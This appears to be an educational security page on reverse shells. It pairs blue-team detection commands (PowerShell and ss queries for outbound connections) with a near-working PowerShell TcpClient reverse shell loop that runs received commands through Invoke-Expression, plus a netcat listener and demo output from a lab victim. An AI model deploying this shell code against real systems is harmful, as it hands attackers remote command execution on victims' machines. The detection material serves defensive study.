Fundamentals PowerShell

Reverse Shell Fundamentals

From: Reverse Shell Handbook, 3rd Edition Author: George Wu

// What is this?

How attackers turn a code execution bug into a full interactive terminal session on your server.

A reverse shell is when a compromised machine connects *outbound* to the attacker's server and hands them a command prompt. Because the connection originates from inside your network, it bypasses most inbound firewall rules. The attacker runs a listener (netcat, ncat) waiting for the victim to call home. From a web shell, RCE exploit, or malicious document, one line of code delivers full interactive access.

PowerShell/Bash — Reverse Shell Detection

→ Blue Team

# Connections to non-internal IPs
Get-NetTCPConnection -State Established | Where-Object {
  $_.RemoteAddress -notmatch "^(127\.|10\.|192\.168\.|172\.(1[6-9]|2|3[0-1])\.|::)"
} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess

# Processes running from user folders
Get-Process | Where-Object { $_.Path -match "Users\\.*\\AppData|Temp" } |
  Select-Object Name, Id, Path

# Linux: outbound connections from shell processes
ss -tnp | awk 'NR>1 && $4!~/127\.|::1/' | grep -E "bash|sh|python|perl|ruby|nc"

If this flags: A shell process with an established outbound connection is a confirmed reverse shell. Note the remote IP, kill the process, block at firewall. Run netstat -anob or ss -tnp for process mapping.

ICO spoof as Cisco Packet Tracer - social engineering to reverse shell connection. Classic delivery chain in action.

What Is This?

A reverse shell is a type of remote access that lets an attacker control your computer from anywhere in the world. Once it's running, they can see your files, steal your passwords, install more malware, or use your machine to attack others.

Why You Need To Know This

Most people who get hacked have no idea how it happened. They clicked something, ran something, or left something exposed - and now someone else owns their machine.

The gap between what attackers know and what defenders know is why attacks keep working. If you understand how these tools work at the code level, you can recognize when something's wrong, build better defenses, and stop being a victim.

This isn't a tutorial for script kiddies. It's for people who want to understand the actual mechanics - what a real implant looks like, how persistence works, what privilege escalation means in code. The threats are real. The people running them are real. And the only way to defend yourself is to understand the weapon.

What Does It Do?

When you run a reverse shell on a target machine, here's what happens:

The victim's computer reaches out to the attacker's server
A two-way communication channel opens up
The attacker can now type commands that execute on the victim's machine
All output flows back to the attacker's terminal
It's like SSH, but in reverse - and without authentication

Bind Shell vs Reverse Shell

The Key Difference

Bind shell: Target opens a port, attacker connects in. Problem: firewalls block inbound connections.

Reverse shell: Target connects out to attacker. Outbound TCP is almost never blocked. You flip the direction and walk through.

Reverse Shell Connection Flow

Victim
192.168.56.104

--TCP CONNECT-->

Attacker (C2)
192.168.56.103:4444

The victim initiates the connection outbound

The Concept: Minimal Shell

A reverse shell needs only a few components:

TCP client to connect to the attacker
Stream reader to receive commands
Command execution (Invoke-Expression in PS)
Stream writer to send output back

PowerShell Snippet (Concept Only)

The core pattern involves creating a TCP connection and piping commands through it:

# Concept: TCP client connects to attacker
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($ip, $port)
$stream = $client.GetStream()

# Stream reader receives commands from attacker
$reader = New-Object System.IO.StreamReader($stream)

# Stream writer sends output back
$writer = New-Object System.IO.StreamWriter($stream)

# Loop: read command, execute, return output
while ($client.Connected) {
    $cmd = $reader.ReadLine()
    $out = (Invoke-Expression $cmd 2>&1 | Out-String)
    $writer.WriteLine($out)
}

Demo Output

On the attacker machine, netcat listens for the incoming connection:

kali@recon:~$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 51720
whoami
windows-pwn\victim
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
...

Why This Matters for Defenders

Understanding reverse shells helps you:

Recognize outbound connection patterns in network logs
Understand why firewalls alone don't stop this
Build detection rules for PowerShell TCP activity
Identify the artifacts left behind

Educational Purpose Only

This content is from authorized security research. Never execute these techniques against systems you don't own or have explicit written permission to test.

Detection Indicators

What to Look For

Event ID 4104: PowerShell Script Block Logging captures executed commands

Network: Unusual outbound TCP connections from PowerShell processes

Process: powershell.exe spawning with hidden window style (-W Hidden)

Lab demo: TcpClient reverse shell with Kaspersky Premium active. PowerShell payload execution → C2 connection established. MITRE T1059.001, T1071.001.